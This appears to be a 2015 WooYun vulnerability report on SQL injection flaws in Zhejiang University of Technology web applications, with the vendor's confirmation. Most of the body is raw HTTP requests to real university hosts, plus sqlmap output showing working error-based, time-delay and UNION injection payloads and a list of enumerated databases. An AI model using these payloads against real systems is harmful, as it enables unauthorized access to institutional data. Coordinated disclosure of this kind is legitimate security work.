当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0152765

漏洞标题:浙江工业大学多处sql注入打包

相关厂商:zjut.edu.cn

漏洞作者: 路人甲

提交时间:2015-11-12 00:16

修复时间:2015-12-27 09:28

公开时间:2015-12-27 09:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-12: 细节已通知厂商并且等待厂商处理中
2015-11-12: 厂商已经确认,细节仅向厂商公开
2015-11-22: 细节向核心白帽子及相关领域专家公开
2015-12-02: 细节向普通白帽子公开
2015-12-12: 细节向实习白帽子公开
2015-12-27: 细节向公众公开

简要描述:

详细说明:

http://www.mba.zjut.edu.cn/cymba/show.php?id=2152

22.png


POST /oa/HX_GetPassWord.asp HTTP/1.1
Content-Length: 247
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDSAARDRDT=JFJEMPOBCNHEPFFLJFIHFFAD; qq497827645Netcst=NetcstCheck=WSOAS%2ECom
Host: www.rdjt.zjut.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Submit=%cf%c2%d2%bb%b2%bd&action=searchinfo&truename=123&UserName=lilufvgi

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: truename (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Submit=%cf%c2%d2%bb%b2%bd&action=searchinfo&truename=123' AND 1473=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (1473=1473) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(113)+CHAR(113))) AND 'YmMv'='YmMv&UserName=lilufvgi
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Submit=%cf%c2%d2%bb%b2%bd&action=searchinfo&truename=123';WAITFOR DELAY '0:0:5'--&UserName=lilufvgi
Type: UNION query
Title: Generic UNION query (NULL) - 120 columns
Payload: Submit=%cf%c2%d2%bb%b2%bd&action=searchinfo&truename=123' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(118)+CHAR(122)+CHAR(120)+CHAR(113)+CHAR(114)+CHAR(79)+CHAR(88)+CHAR(116)+CHAR(65)+CHAR(84)+CHAR(66)+CHAR(120)+CHAR(77)+CHAR(119)+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(113)+CHAR(113),NULL-- &UserName=lilufvgi
---
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 5.0
back-end DBMS: Microsoft SQL Server 2000
available databases [15]:
[*] BusinessDevelopment
[*] Hospital
[*] IndustryUniversity
[*] ldmis2000
[*] lionoa
[*] master
[*] model
[*] msdb
[*] Northwind
[*] PropertyManage
[*] pubs
[*] rdjt
[*] rongda
[*] tempdb
[*] zsdj

漏洞证明:

POST /SearchYearPerformanceResult.jsp HTTP/1.1
Content-Length: 167
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://zs.zjut.edu.cn
Cookie: JSESSIONID=85420468CF844073D2373EDABCF3B31D; SERVERID=d6b1c6187f7b39e92c6c281a5ffce854|1446862292|1446862292
Host: zs.zjut.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
button=%b2%e9%20%20%20%20%d1%af&sf=%d5%e3%bd%ad&year=2012&zy=%b9%fa%bc%ca%be%ad%bc%c3%d3%eb%c3%b3%d2%d7%a3%a8%d7%df%b6%c1%a3%a9

55.png


POST /luqu.html HTTP/1.1
Content-Length: 79
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://zs.zjc.zjut.edu.cn
Cookie: PHPSESSID=i6a7c6udpguplcm3uvjkpltql7; Hm_lvt_ab5eab1da37ae924069916ba143c290e=1446856324,1446856324,1446856324,1446856614; Hm_lpvt_ab5eab1da37ae924069916ba143c290e=1446856614; HMACCOUNT=142ABFAACD7E7C39; EDiaryEditor_RSave=true
Host: zs.zjc.zjut.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
card=1&name=heuqnbon&stuid=1

66.jpg

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-11-12 09:26

厂商回复:

谢谢你的帮助,我们会尽快处理的

最新状态:

暂无